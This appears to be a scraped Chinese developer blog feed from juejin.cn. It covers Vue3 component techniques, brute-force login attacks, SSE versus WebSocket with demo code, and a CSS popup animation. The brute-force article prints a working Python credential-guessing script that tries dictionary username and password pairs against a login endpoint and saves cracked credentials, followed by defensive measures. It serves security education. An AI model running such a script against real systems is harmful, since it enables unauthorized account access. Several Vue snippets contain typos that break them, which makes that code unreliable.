<el-option v-for="item in options" :key="item.value" :label="item.label" :value="item.value" />
</el-select>

身为一个优秀前端前端佬,这哪里能忍!


技巧随之用来,我们就可以使用上面这个,创建一个自定义select组件,既能享用原组件的各种配置属性和事件
(P.S. 如果需要组件上使用自定义事件,比如change事件,属性上定义为’onChange': ()=>{}。),也可以自定义一些功能,创建一个customSelect.vue:


<el-select v-model="selectedValue" v-bind="attts">
<el-option v-for="(item) in customOptions" v-bind="item"/>
</el-select>

这样在动态引用这个组件,就能使用自定义的customOptions这个属性。


上面例子主要说明,v-bind="$attr"的好处。但还是得多说一句,上面例子中的一些缺点。



  1. 无法直接使用el-select对外暴露的方法;

  2. 无法直接使用el-select的slot分发;


然后需要注意一个点,得在customSelect.vue组件中,设置inheritAttrs为false,防止数据在组件上一层层透传下去。


2、improt { h } from vue


h为vue中的渲染函数,主要用来创建虚拟 DOM 节点 (vnode)。对应参数,可以戳这里,看官方详细正宗介绍。


对应这个连接中,有很多渲染函数的介绍。这系列有一个很大的特点,那就是用的魔怔了,就会一不小心把VUE变成“React”,损失掉VUE框架中的一些优点。


自由度非常高。仅仅针对这个H函数举例,还是援用上面的例子,实现如下(代码片段):


<scirpt>
import {defineComponent, h} from 'vue'
import {ElSelect, ElOption} from 'element-plus'

export default definComponent({
name:'DynamicSelect',
props:{
options:{
type:Array,
required:true,
default:() => []
}
},
setup(props) {
return () = >
h(ElSelect, () =>
props.options.map(options =>
h(ElOption, {
key:option.value,
label:option.label,
value:option.value,
})
)
)
}
})
<script>

足够清爽,简单。


3、render


render,用于编程式地创建组件虚拟 DOM 树的函数。解释链接,可以戳这里


废话不多说,直接以上面的例子,用render方式撸一遍。


<!-- <template>
<div>1</div>
<template> -->

<scirpt>
import {defineComponent, h} from 'vue'
import {ElSelect, ElOption} from 'element-plus'

export default definComponent({
name:'DynamicSelect',
props:{
options:{
type:Array,
required:true,
default:() => []
}
},
render(_ctx) {
return () = >
h(ElSelect, () =>
_ctx.options.map(options =>
h(ElOption, {
key:option.value,
label:option.label,
value:option.value,
})
)
)
}
})
<script>

不能说实现的方式跟上面相似,简直说是一模一样。主要在于render做了template要做的事,但相比较template少一层解析,理论上会比template更高效。


需要注意一点,这里放出官网的描述:



如果一个组件中同时存在 render 和 template,则 render 将具有更高的优先级



正常理解的话,是render渲染出的vnode会高于template解析出的vnode,同时存在,render会覆盖掉template。


但在经过VUE的v3.3.4版本中操作,template会覆盖掉render。所以这个优先级,猜测可能是render会优先解析,具体得翻源码,待理解后继续更新。


4、getCurrentInstance


这个是获取当前组件实例的方法,属于核弹级别的方法,也属于VUE3官网文档中翻不到的东西。


但鲁迅说的好,路走的多了,那就成路了。如果社区用的人多了,那么它就有可能提上去!


image.png


言归正传,那么拿了这个组件的实例,能干什么呢?


那可干的事情,就可多可多了。


比如改个,调个组件方法,这都算小儿科,完全不用担心这里readOnly,那里ReadonlyReactiveHandler


猛一点,直接硬插,换个上下文。



再猛的,先假设:组件实例 === 组件,组件 === VUE,VUE === YYX写的,然后你写了一点代码+VUE,是不是由此可得,你的代码 》 VUE ,进而证明 你 》 YYX。嗯?


93B1A00879A9B67271080936B8A2D89CE1D69417_size242_w423_h220.gif


5、extends


先来一段官方的介绍:



从实现角度来看,extends 几乎和 mixins 相同。通过 extends 指定的组件将会当作第一个 mixin 来处理。


然而,extends 和 mixins 表达的是不同的目标。mixins 选项基本用于组合功能,而 extends 则一般更关注继承关系。



缺点上,第1节有提一个,但还有一个不算是缺点的缺点,相同属性和方法会直接覆盖被继承的组件(钩子函数不会被覆盖),主要在于是否熟悉被继承的组件中的逻辑。用的好就很好,用的不行,就真的很不行。


如果还是用上面的例子作为例子,实现方法如下:


<scirpt>
import {defineComponent, createVNode, render, getCurrentInstance } from 'vue'
import {ElSelect, ElOption} from 'element-plus'

export default definComponent({
name:'DynamicSelect',
extends:ElSelect,
props:{
options:{
type:Array,
required:true,
default:() => []
}
},
setup(props) {
return ElSelect.setup(props, context)
},
mounted(){
const curInstance = getCurrentInstance()
const container = doucment.createElement('div')

this.$props.options.forEach(options => {
const vNode = createVNode(ElOption,{
key:option.value,
label:option.label,
value:option.value,
})
})

const currrentProvides = curInstance?.provides
if(currrentProvides){
// 将ELSelect的Provides,传入到ElOption中
reflect.set(curInstance?.appContext,'provides',{...currrentProvides})
}
vNode.appContext = curInstance?.appContext
render(vNode,container)
this.$el.appendChild(container)
}
})
<script>

但这种,确实是为了实现那个例子而写的代码。有些可以作为参考。


暂时分享这些,欢迎前端佬们拍砖。


作者:大怪v
来源:juejin.cn/post/7450836153258049572
收起阅读 »

前端安全问题 - 爆破登录

web
声明:本文仅供学习和研究用途,请勿用作违法犯罪之事,若违反则与本人无关。 暴力破解登录是一种常见的前端安全问题,属于未授权访问安全问题的一种,攻击者尝试使用不同的用户名和密码组合来登录到受害者的账户,直到找到正确的用户名和密码组合为止。攻击者可以使用自动化工...
继续阅读 »

声明:本文仅供学习和研究用途,请勿用作违法犯罪之事,若违反则与本人无关。



暴力破解登录是一种常见的前端安全问题,属于未授权访问安全问题的一种,攻击者尝试使用不同的用户名和密码组合来登录到受害者的账户,直到找到正确的用户名和密码组合为止。攻击者可以使用自动化工具,如字典攻击、暴力攻击等来加快攻击速度。这种攻击通常针对用户使用弱密码、没有启用多因素身份验证等情况。


一、发现问题


常见情况


Web 应用的登录认证模块容易被暴破登录的情况有很多,以下是一些常见的情况:



  1. 弱密码:如果用户的密码过于简单,容易被暴破猜解,例如使用常见的密码或者数字组合,或者密码长度太短。

  2. 没有账户锁定机制:如果网站没有设置账户锁定机制,在多次登录失败后未对账户进行锁定,攻击者可以继续尝试暴破登录。

  3. 未加密传输:如果用户在登录时使用的是未加密的 HTTP 协议进行传输,攻击者可以通过网络抓包等方式获取用户的账户名和密码,从而进行暴破登录。

  4. 没有 IP 地址锁定:如果网站没有设置 IP 地址锁定机制,在多次登录失败后不对 IP 地址进行锁定,攻击者无限制的继续尝试暴破登录。

  5. 没有输入验证码:如果网站没有输入验证码的机制,在多次登录失败后不要求用户输入验证码,攻击者可以通过自动化程序进行暴破登录。

  6. 使用默认账户名和密码:如果网站的管理员或用户使用了默认的账户名和密码,攻击者可以通过枚举默认账户名和密码的方式进行暴破登录。


常用工具


为了检测 Web 应用的登录认证模块是否存在暴破登录漏洞,可以使用以下工具:



  1. Burp Suite:Burp Suite 是一款常用的 Web 应用程序安全测试工具,其中包含了许多模块和插件,可用于检测网站的登录认证模块是否存在暴破登录漏洞。

  2. OWASP ZAP:OWASP ZAP 是一个免费的 Web 应用程序安全测试工具,可以用于检测登录认证模块的安全性,并提供一系列的攻击模拟工具。


需要注意的是,这些工具只应用于测试和评估自己的 Web 应用程序,而不应用于攻击他人的 Web 应用程序。


二、分析问题


对目标 Web 应用进行暴破登录攻击实例:


1. 通过 Google Chrome 开发者工具查看登录请求接口地址、请求参数和响应数据等信息


可以在登录界面随意输入一个账号和密码,然后点击登录,即可在开发者工具的网络面板查看登录接口相关信息。



  • 请求地址:


    img


    由图可知,应用使用的是 HTTP 协议,而不是更安全的 HTTPS 协议。


  • 请求参数:


    img


    由图可知,登录接口的请求参数用户名和密码用的都是明文。


  • 响应数据:


    img



2. 构建目标 Web 应用 URL 字典、账号字典和密码字典



  • URL 字典 url.txt:


    	http://123.123.123.123:1234/


  • 账号字典 usr.txt


    	admin

    admin 是很多 Web 后端管理应用常用的管理员默认账号。


  • 密码字典 pwd.txt:


    	1234

    12345

    123456

    密码字典是三个被常用的弱密码。



3. 暴力破解登录代码示例


Python 脚本代码示例:


	from io import TextIOWrapper

import json

import logging

import os

import time

import requests

from requests.adapters import HTTPAdapter



g_input_path = './brute_force_login/input/'

g_output_path = './brute_force_login/output/'



def log():

# 创建日志文件存放文件夹

root_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))

log_dir = os.path.join(root_dir, 'logs', 'brute_force_login')



if not os.path.exists(log_dir):

os.mkdir(log_dir)



# 创建一个日志器

logger = logging.getLogger("logger")



# 设置日志输出的最低等级,低于当前等级则会被忽略

logger.setLevel(logging.INFO)



# 创建处理器:sh为控制台处理器,fh为文件处理器

sh = logging.StreamHandler()



# 创建处理器:sh为控制台处理器,fh为文件处理器,log_file为日志存放的文件夹

log_file = os.path.join(log_dir, "{}.log".format(

time.strftime("%Y-%m-%d", time.localtime())))

fh = logging.FileHandler(log_file, encoding="UTF-8")



# 创建格式器,并将sh,fh设置对应的格式

formator = logging.Formatter(

fmt="%(asctime)s %(levelname)s %(message)s", datefmt="%Y/%m/%d %X")



sh.setFormatter(formator)

fh.setFormatter(formator)



# 将处理器,添加至日志器中

logger.addHandler(sh)

logger.addHandler(fh)



return logger



globalLogger = log()



def myRequest(url: str, method: str, data, proxyIpPort="localhost", authorizationBase64Str=''):

# 请求头

headers = {

"content-type": "application/json",

'User-Agent': 'Mozilla/5.0 (Macint0sh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36',

}



if authorizationBase64Str != '':

headers['Authorization'] = 'Basic ' + authorizationBase64Str



proxies = {}

if proxyIpPort != "localhost":

proxies = {

"http": "http://" + proxyIpPort,

"https": "http://" + proxyIpPort

}



try:

s = requests.Session()

# 配置请求超时重试

s.mount('http://', HTTPAdapter(max_retries=1))

s.mount('https://', HTTPAdapter(max_retries=1))



response =

# 构造发送请求

if method == 'get':

response = s.get(url=url, headers=headers, data=data,

proxies=proxies, timeout=(3.05, 1))

elif method == 'post':

response = s.post(url=url, headers=headers, data=data,

proxies=proxies, timeout=(3.05, 1))

else:

globalLogger.warning("Request Method Invalid")

return 'RequestException'

# 响应数据

globalLogger.info(

"MyRequest Request ResponseText:\n {}".format(response.text))

return response.text

except requests.exceptions.RequestException as e:

globalLogger.warning("RequestException: {}".format(e))

return 'RequestException'





def getStrListFromFile(fileContent: TextIOWrapper):

return fileContent.read().rstrip('\n').replace('\n', ';').split(';')





def attackTargetSite(url: str, usr: str, pwd: str):

reStr = 'FAIL'



fullUrl = url + 'webapp/web/login'

globalLogger.info("attackTargetSite Request Url: {}".format(fullUrl))



reqData = {

"name": usr,

"password": pwd

}



resp = myRequest(fullUrl, 'post', json.dumps(reqData).encode("utf-8"))



if '"status":200' in resp:

reStr = 'SUCCESS'

elif 'RequestException' in resp:

reStr = 'RequestException'



return reStr



def attack():

try:

input_path = g_input_path



# 读取url文件

input_url_filename = 'url.txt'

urlFileContent = open(os.path.join(

input_path, input_url_filename), 'r')

url_list = getStrListFromFile(urlFileContent)



# 读取用户名字典文件

input_usr_filename = 'usr.txt'

usrFileContent = open(os.path.join(

input_path, input_usr_filename), 'r')

usr_list = getStrListFromFile(usrFileContent)



# 读取密码字典文件

input_pwd_filename = 'pwd.txt'

pwdFileContent = open(os.path.join(

input_path, input_pwd_filename), 'r')

pwd_list = getStrListFromFile(pwdFileContent)



# 输出文件路径及名称

output_path = g_output_path

output_hacked_url = 'hackedUrlAndPwd.txt'



with open(os.path.join(output_path, output_hacked_url), 'w') as output_file:

i = 0

for url in url_list:

i += 1

j = 0

for usr in usr_list:

j += 1

resp = 'FAIL'

k = 0

for pwd in pwd_list:

k += 1

resp = attackTargetSite(url, usr, pwd)

if resp == 'SUCCESS':

output_file.write(url + '\n')

output_file.write('{}:{}\n'.format(usr, pwd))

# 数据实时写入文件(无缓冲写入)

output_file.flush()



pStr = "[SUCCESS {}/{}]: use {}/{} username [{}] and {}/{} password [{}] attack [{}] success".format(

i, len(url_list), j, len(usr_list), usr, k, len(pwd_list), pwd, url)

globalLogger.info(pStr)

break

elif 'RequestException' in resp:

pStr = "[FAILED {}/{}]: use {}/{} username [{}] and {}/{} password [{}] attack [{}] fail".format(

i, len(url_list), j, len(usr_list), usr, k, len(pwd_list), pwd, url)

globalLogger.info(pStr)

break

else:

pStr = "[FAILED {}/{}]: use {}/{} username [{}] and {}/{} password [{}] attack [{}] fail".format(

i, len(url_list), j, len(usr_list), usr, k, len(pwd_list), pwd, url)

globalLogger.info(pStr)

if resp == 'SUCCESS':

break

elif 'RequestException' in resp:

break



finally:

if urlFileContent:

urlFileContent.close()

if usrFileContent:

usrFileContent.close()

if pwdFileContent:

pwdFileContent.close()

if pipFileContent:

pipFileContent.close()



attack()

上述 Python 代码中导入了 io、json、logging、os、time 和 requests 模块。 log 函数用于设置日志文件的路径和格式,以及创建日志记录器,并返回该记录器。 myRequest 函数用于发送 HTTP 请求,并返回响应文本。函数 attackTargetSite 用于攻击目标网站的登录页面。最后,函数 attack 读取 url.txt、usr.txt 和 pwd.txt 文件,以此作为参数进行攻击,并将破解的网站和密码保存到 hackedUrlAndPwd.txt 文件中。


成功破解的目标站点将 URL、账号和密码保存到 hackedUrlAndPwd.txt 文件中,如:


	http://123.123.123.123:1234/

admin:1234

其中, http://123.123.123.123:1234/ 为目标 Web 应用站点的 URL,admin 为账号,1234 为密码。


由上述代码可知,在目标 Web 应用站点存在使用弱密码、默认账户和密码(弱)、无锁定账户功能、无验证码功能等情况下,暴破登录是很容易成功的。


三、解决问题


防范措施


以下是一些预防暴力破解登录的措施:



  1. 强制密码复杂度:应用程序应该强制用户使用复杂的密码,如包含数字、字母和符号,并设置密码最小长度限制,以减少暴力破解的成功率。

  2. 锁定账户:应用程序应该有一个策略来锁定用户账户,例如,如果用户连续多次输入错误的密码,应该锁定账户一段时间,以减少暴力破解攻击的成功率。

  3. 安全加密:密码应该使用安全的加密方式进行存储,以防止攻击者获取敏感信息。开发人员应该使用强密码哈希算法,并对散列值使用盐进行加密,从而增加破解难度。

  4. IP 地址锁定:设置 IP 地址锁定机制,在多次登录失败后对 IP 地址进行锁定,增加攻击者的攻击成本,当然,攻击者也是可以通过更换代理 IP 的方式继续尝试暴破登录。

  5. 添加验证码:添加验证码是一种简单而有效的防止暴力破解登录的方法。在登录界面添加验证码,可以有效地防止自动化工具的攻击。

  6. 检查 IP 地址:可以在用户登录时记录用户的 IP 地址,并在未授权的 IP 地址尝试登录时触发警报或阻止登录。

  7. 多因素身份验证:多因素身份验证是一种额外的安全层,通过使用至少两种身份验证因素来验证用户的身份,增加攻击者成功攻击的难度。通常,多因素身份验证会结合密码和另一种身份验证因素,如短信验证码、邮件验证、令牌等。

  8. 加强日志监控:开发人员应该在应用程序中记录关键事件和操作,并实时监控和分析日志,以发现潜在的安全威胁。


防御工具


以下是一些应对暴力破解登录的常用工具:



  1. Wireshark:Wireshark 是一个免费的网络协议分析工具,可以用于监视和分析网络数据包。通过使用 Wireshark,可以捕获网站登录认证过程中的网络数据包,以检查是否存在攻击者使用的暴破攻击模式。

  2. Fail2Ban:Fail2Ban 是一个安全性程序,可用于防止恶意暴破登录行为。它使用规则来检测多个失败登录尝试,并暂时禁止来自相同 IP 地址的任何进一步尝试。通过 Fail2Ban,可以检查网站是否已经采取措施来保护登录认证模块免受暴力破解攻击。

  3. Web Application Firewall(WAF):Web 应用程序防火墙是一种用于保护 Web 应用程序的安全性的网络安全控制器。WAF 可以检测和阻止恶意的登录尝试,并提供实时保护。通过使用 WAF,可以检查网站是否已经采取措施来保护登录认证模块免受暴力破解攻击。

  4. Log File Analyzer:日志文件分析工具可以用于分析网站日志文件,以确定是否存在任何异常登录尝试。通过分析登录活动的日志,可以发现任何暴破攻击的痕迹,并识别攻击者的 IP 地址。


需要注意的是,这些工具仅应用于测试和评估自己的 Web 应用程序,而不应用于攻击他人的 Web 应用程序。在进行安全测试时,应获得相关方的授权和许可,并遵循合适的安全测试流程和规范。


作者:庚云
来源:juejin.cn/post/7407610458788200475
收起阅读 »

如果让你实现实时消息推送你会用什么技术?轮询、websocket还是sse

web
前言 在日常的开发过程中,我们经常能碰见到需要主动推送消息给客户端数据的业务场景,比如数据大屏幕实时数据,聊天消息推送等等。 本文介绍sse: 服务端向客户端推送数据的方式有哪几种呢? WebSocket SSE 长轮询 轮询简介 长轮询是一种模拟实时通...
继续阅读 »

前言


在日常的开发过程中,我们经常能碰见到需要主动推送消息给客户端数据的业务场景,比如数据大屏幕实时数据,聊天消息推送等等。
本文介绍sse:


image.png
服务端向客户端推送数据的方式有哪几种呢?



  • WebSocket

  • SSE

  • 长轮询


轮询简介


长轮询是一种模拟实时通信的技术。在传统的Http请求中,客户端向服务端发送请求,并且在完成请求后立即响应,然后连接关闭。这意味着客户端需要不停的发送请求来更新数据。


相比之下,长轮询的思想是客户端发送一个Http到服务端,服务端不立即返回响应。相反,服务端会保持该请求打开,直到有新的数据可用或超时。如果有新的数据可用,服务端会立即返回响应,并关闭连接。此时,客户端会重新发起一个新的请求,继续等待新的数据。


使用长轮询的优势在于,它在大部分的浏览器中有更好的兼容性,因为它使用的是Http协议。缺点就是较高的延迟性、较大的资源消耗、以及大量并发操作可能导致服务端资源的瓶颈和一些浏览器对并发请求数目进行了限制比如chorme最大并发数目为6,这个限制前提是针对同一个域名下,超过这一限制后续请求就会堵塞。


websocket简介


websocket是一个双向通信的协议,它支持客户端和服务端彼此之间进行通信。功能强大。
缺点就是是一个新的协议,ws/wss,也就是说支持http协议的不一定支持ws协议。相比较websocket结构复杂并且比较重。


SSE简介


sse是一个单向通讯的协议也是一个长链接,它只能支持服务端主动向客户端推送数据,但是无法让客户端向服务端推送消息。


SSE的优点是,它是一个轻量级的协议,相对于websockte来说,他的复杂度就没有那么高,相对于客户端的消耗也比较少。而且_SSE使用的是http协议_(websocket使用的是ws协议),也就是现有的服务端都支持SSE,无需像websocket一样需要服务端提供额外的支持。


websocket和SSE有什么区别?


轮询


对于当前计算机的发展来说,几乎很少出现同时不支持websocket和sse的情况,所以轮询是在极端情况下浏览器实在是不支持websocket和see的下策。


Websocket和SSE


我们一般的服务端和客户端的通讯基本上使用这两个方案。首先声明:这两个方案没有绝对的好坏,只有在不同的业务场景下更好的选择。


SSE的官方对于SSE和Websocket的评价是



  1. WebSocket是全双工通道,可以双向通信,功能更强;SSE是单向通道,只能服务器向浏览器端发送。

  2. WebSocket是一个新的协议,需要服务器端支持;SSE则是部署在HTTP协议之上的,现有的服务器软件都支持。

  3. SSE是一个轻量级协议,相对简单;WebSocket是一种较重的协议,相对复杂。

  4. SSE默认支持断线重连,WebSocket则需要额外部署。

  5. SSE支持自定义发送的数据类型。


Websocket和SSE分别适用于什么业务场景?


对于SSE来说,它的优点就是轻,而且对于服务端的支持度要更好。换言之,可以使用SSE完成的功能需求,没有必要使用更重更复杂的websocket。


比如:数据大屏的实时数据,消息中心的消息推送等一系列只需要服务端单方面推送而不需要客户端同时进行反馈的需求,SSE就是不二之选。


对于Websocket来说,他的优点就是可以同时支持客户端和服务端的双向通讯_。所适用的业务场景:最典型的就是聊天功能。这种服务端需要主动向客户端推送信息,并且客户端也有向服务端推送消息的需求时,Websocket就是更好的选择。


SSE有哪些主要的API?


建立一个SSE链接 :var source = new EventSource(url);


SSE连接状态


source.readyState



  • 0,相当于常量EventSource.CONNECTING,表示连接还未建立,或者连接断线。

  • 1,相当于常量EventSource.OPEN,表示连接已经建立,可以接受数据。

  • 2,相当于常量EventSource.CLOSED,表示连接已断,且不会重连。


SSE相关事件



  • open事件(连接一旦建立,就会触发open事件,可以定义相应的回调函数)

  • message事件(收到数据就会触发message事件)

  • error事件(如果发生通信错误(比如连接中断),就会触发error事件)


数据格式


Content-Type: text/event-stream //文本返回格式  
Cache-Control: no-cache  //不要缓存
Connection: keep-alive //长链接标识

如何实操一个SSE链接?Demo↓


这里Demo前端使用的就是最基本的html静态页面连接,没有使用任何框架。后端选用语言是node,框架是Express。


理论上,把这两段端代码复制过去跑起来就直接可以用了。



  1. 第一步,建立一个index.html文件,然后复制前端代码Demo到index.html文件中,打开文件

  2. 第二步,进入一个新的文件夹,建立一个index.js文件,然后将后端Demo代码复制进去,然后在该文件夹下执行


npm init          //初始化npm         
npm i express     //下载node express框架
node index        //启动服务

上面三行之中,第一行的Content-Type必须指定 MIME 类型为event-steam
每一次发送的信息,由若干个message组成,每个message之间用\n\n分隔。每个message内部由若干行组成,每一行都是如下格式。


[field]: value\n

上面的field可以取四个值。


-   data
- event
- id
- retry

此外,还可以有冒号开头的行,表示注释。通常,服务器每隔一段时间就会向浏览器发送一个注释,保持连接不中断。


: This is a comment

data 字段


数据内容用data字段表示


data:  message\n\n

如果数据很长,可以分成多行,最后一行用\n\n结尾,前面行都用\n结尾。


data: begin message\n
data: continue message\n\n

下面是一个发送 JSON 数据的例子。


data: {\n
data: "foo": "bar",\n
data: "baz", 555\n
data: }\n\n

id 字段


数据标识符用id字段表示,相当于每一条数据的编号。


id: msg1\n
data: message\n\n

浏览器用lastEventId属性读取这个值。一旦连接断线,浏览器会发送一个 HTTP 头,里面包含一个特殊的Last-Event-ID头信息,将这个值发送回来,用来帮助服务器端重建连接。因此,这个头信息可以被视为一种同步机制。


event 字段


event字段表示自定义的事件类型,默认是message事件。浏览器可以用addEventListener()监听该事件。




event: foo\n
data: a foo event\n\n

data: an unnamed event\n\n

event: bar\n
data: a bar event\n\n


retry 字段


服务器可以用retry字段,指定浏览器重新发起连接的时间间隔。




retry: 10000\n


两种情况会导致浏览器重新发起连接:一种是时间间隔到期,二是由于网络错误等原因,导致连接出错。


上面的代码创造了三条信息。第一条的名字是foo,触发浏览器的foo事件;第二条未取名,表示默认类型,触发浏览器的message事件;第三条是bar,触发浏览器的bar事件。


image.png
前端代码


<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Document</title>
</head>
<body>
<ul id="ul"></ul>
</body>
<script>
//生成li元素
function createLi(data) {
let li = document.createElement("li");
li.innerHTML = String(data.message);
return li;
}

//判断当前浏览器是否支持SSE
let source = "";
if (!!window.EventSource) {
source = new EventSource("http://localhost:8088/sse/");
} else {
throw new Error("当前浏览器不支持SSE");
}

//对于建立链接的监听
source.onopen = function (event) {
console.log(source.readyState);
console.log("长连接打开");
};

//对服务端消息的监听
source.onmessage = function (event) {
console.log(JSON.parse(event.data));
console.log("收到长连接信息");
let li = createLi(JSON.parse(event.data));
document.getElementById("ul").appendChild(li);
};

//对断开链接的监听
source.onerror = function (event) {
console.log(source.readyState);
console.log("长连接中断");
};
</script>
</html>



后端代码


const express = require("express"); //引用框架
const app = express(); //创建服务
const port = 8088; //项目启动端口

//设置跨域访问
app.all("*", function (req, res, next) {
//设置允许跨域的域名,*代表允许任意域名跨域
res.header("Access-Control-Allow-Origin", "*");
//允许的header类型
res.header(
"Access-Control-Allow-Headers",
"Content-Type, Authorization, X-Requested-With"
);
//跨域允许的请求方式
res.header("Access-Control-Allow-Methods", "PUT,POST,GET,DELETE,OPTIONS");
// 可以带cookies
res.header("Access-Control-Allow-Credentials", true);
if (req.method == "OPTIONS") {
res.sendStatus(200);
} else {
next();
}
});

app.get("/sse", (req, res) => {
res.set({
"Content-Type": "text/event-stream", //设定数据类型
"Cache-Control": "no-cache", // 长链接拒绝缓存
Connection: "keep-alive", //设置长链接
});

console.log("进入到长连接了");
//持续返回数据
setInterval(() => {
console.log("正在持续返回数据中ing");
const data = {
message: `Current time is ${new Date().toLocaleTimeString()}`,
};
res.write(`data: ${JSON.stringify(data)}\n\n`);
}, 1000);
});

//创建项目
app.listen(port, () => {
console.log(`项目启动成功-http://localhost:${port}`);
});


20240229103040.gif


参考文章:http://www.ruanyifeng.com/blog/2017/0…


作者:917号先生
来源:juejin.cn/post/7340621143009067027
收起阅读 »

手把手教你实现一个中间开屏

web
前言 这次给大家带来一个开屏的效果,由纯CSS实现,实现起来并不复杂,效果也并不简单,话不多说,咱们直入主题。 效果预览 效果如下所示。 HTML部分 首先看到HTML部分,相关代码如下。 <nav class="main"> &l...
继续阅读 »

前言


这次给大家带来一个开屏的效果,由纯CSS实现,实现起来并不复杂,效果也并不简单,话不多说,咱们直入主题。


效果预览


效果如下所示。


HTML部分


首先看到HTML部分,相关代码如下。


 <nav class="main">
<a href="#terrestrial" class="open-popup">terrestrial animals</a>
<a href="#aquatic" class="open-popup">aquatic animals</a>
</nav>
<section id="terrestrial" class="popup">
<a href="#" class="back">&lt; back</a>
<p>🦓🦒🐅🐆🐘🦏🐃🦌🐐🐫</p>
</section>
<section id="aquatic" class="popup">
<a href="#" class="back">&lt; back</a>
<p>🐋🐳🐬🐟🐠🐡🐙🦑🦐🦀</p>
</section>

这里包含了一个导航条和两个弹出窗口。<nav class="main">是主导航条的部分。包含了两个链接,分别链接到页面中的不同部分。<a href="#terrestrial" class="open-popup">terrestrial animals</a><a href="#aquatic" class="open-popup">aquatic animals</a>这两个链接标签(<a>)作为导航链接,包含了类名open-popup,当这些链接被点击时会弹出相关的窗口。<section id="terrestrial" class="popup"><section id="aquatic" class="popup">这两个部分分别代表了两个弹出的窗口内容。每一个窗口内容块中包含了一个返回的链接(&lt; back)和相应类别的动物表情。


综上所述,这里构建了一个包含导航条和两个弹出窗口的结构,点击不同的链接可以弹出对应的内容窗口,用于显示相关的动物表情。


CSS部分


接着看到CSS部分。相关代码如下。


    .main {
height: inherit;
background: linear-gradient(dodgerblue, darkblue);
display: flex;
align-items: center;
justify-content: center;
}
.open-popup {
box-sizing: border-box;
color: white;
font-size: 16px;
font-family: sans-serif;
width: 10em;
height: 4em;
border: 1px solid;
text-align: center;
line-height: 4em;
text-decoration: none;
text-transform: capitalize;
margin: 1em;
}
.open-popup:hover {
border-width: 2px;
}

这里描述了主区域和打开弹窗的链接按钮的样式。设置了渐变背景色、按钮的颜色、字体大小、字体样式、宽度、高度、边框等样式属性,使用 Flex 布局,使得包裹在内部的子元素能够进行灵活的排列。


.open-popup中,box-sizing: border-box;使得元素的边框和内边距包含在宽度之内。text-align: center;使得按钮中的文本内容水平居中对齐。line-height: 4em;设定了行高。text-decoration: none;去除了链接的下划线。text-transform: capitalize;使得英文字母单词的首字母大写。.open-popup:hover定义了鼠标悬停在按钮上的样式,这里设置了边框的宽度在悬停时增加至 2px


总的来说,这些 CSS 定义了主区块的背景样式以及弹出窗口链接按钮的样式,使得按钮在悬停时具有变化的边框宽度,且主区域能够使内部的元素水平和垂直居中。


    /* popup page layout */
.popup {
position: absolute;
top: 0;
width: 100%;
height: inherit;
flex-direction: column;
justify-content: flex-start;
display: none;
}
.popup:target {
display: flex;
}
.popup .back {
font-size: 20px;
font-family: sans-serif;
text-align: center;
height: 2em;
line-height: 2em;
background-color: #ddd;
color: black;
text-decoration: none;
}
.popup .back:visited {
color: black;
}
.popup .back:hover {
background-color: #eee;
}
.popup p {
font-size: 100px;
text-align: center;
margin: 0.1em 0.05em;
}

这里描述了弹窗部分的布局与样式。在.popup中,position: absolute;将弹窗设置为绝对定位,相对于最近的已定位父元素进行定位。top: 0;将弹窗置于父元素的顶部。flex-direction: column; justify-content: flex-start;使用 Flex 布局,使得弹窗内的元素以垂直方向排列并且从顶部开始排列。display: none;表示在初始状态下将弹窗设为不可见。


.popup:target这个选择器用于在 URL 带有对应 ID 锚点时,将对应的弹窗设置为可见(display: flex)。


.popup .back设定了返回链接的字体大小、字体类型以及文本居中等样式,也设置了其背景颜色、文本颜色和访问时的颜色。


.popup p设置了段落元素的字体大小、文本居中,并添加了一些微小的外边距。


这些 CSS 给弹窗部分添加了基本的布局样式,通过使用了伪类target来控制弹窗的显示和隐藏,并设置了返回链接和段落元素的基本样式。


    /* animation effects */
.popup > * {
filter: opacity(0);
animation: fade-in 0.5s ease-in forwards;
animation-delay: 1s;
}
@keyframes fade-in {
to {
filter: opacity(1);
}
}
.popup::before {
content: "";
position: absolute;
width: 100%;
height: 0;
top: 50%;
background-color: white;
animation: open-animate 0.5s cubic-bezier(0.8, 0.2, 0, 1.2) forwards;
animation-delay: 0.5s;
}
@keyframes open-animate {
to {
height: 100vh;
top: 0;
}
}
.popup::after {
content: "";
position: absolute;
width: 0;
height: 2px;
background-color: white;
top: calc((100% - 2px) / 2);
left: 0;
animation: line-animate 0.5s cubic-bezier(0.8, 0.2, 0, 1.2);
}
@keyframes line-animate {
50%,
100% {
width: 100%;
}
}

这里描述了弹窗(Popup)元素的动画效果。在.popup > *中,filter: opacity(0);将所有子元素的不透明度设置为 0,元素将初始处于不可见状态。
animation: fade-in 0.5s ease-in forwards;使用了名称为 fade-in 的动画,持续时间为0.5秒,采用了 ease-in 时间变化,并且最终状态保持不变。animation-delay: 1s;表示动画延迟1秒后开始播放。


在动画@keyframes fade-in中,to将元素的不透明度逐渐增加到1,以显示元素。


.popup::before表示使用伪元素 ::before 创造了一个白色的遮罩层,该伪元素的初始高度为0,将在动画中展开到全屏幕高度。采用名为 open-animate 的动画,用于延时0.5秒后播放,动画效果由 Cubic-bezier 函数生成。


.popup::after表示使用伪元素 ::after 创造了一条横线,初始宽度为0,高度为2px,定义了 line-animate 动画,使得该横线逐渐展开成一条横幅。


综上所述,这些 CSS 定义了弹窗元素的动画效果,包括子元素逐渐显现、遮罩层的展开以及横线的逐渐展开,组合起来形成了一个整体的弹窗效果


总结


以上就是整个效果的实现过程了,代码简单易懂,效果也比较炫酷多样。另外,感兴趣的小伙伴们还可以在现有基础上发散思维,比如增加点其他效果,或者更改颜色等等。关于该效果如果大家有更好的想法欢迎在评论区分享,互相学习。最后,完整代码在码上掘金里可以查看,如果有什么问题大家在评论区里讨论~


作者:一条会coding的Shark
来源:juejin.cn/post/7424341949800087604
收起阅读 »

扇形旋转切换效果(等级切换转盘)

web
实现动态扇形旋转切换效果,切换进度支持渐变效果 效果展示 原理拆解 环形进度条:使用上下两个相同大小的圆间隔一定距离覆盖得到一条圆环 进度条渐变及进度控制:通过一个从左至右渐变的矩形覆盖在圆环上,然后通过css变量动态控制矩形的宽度实现进度控制 等级旋...
继续阅读 »

实现动态扇形旋转切换效果,切换进度支持渐变效果


效果展示


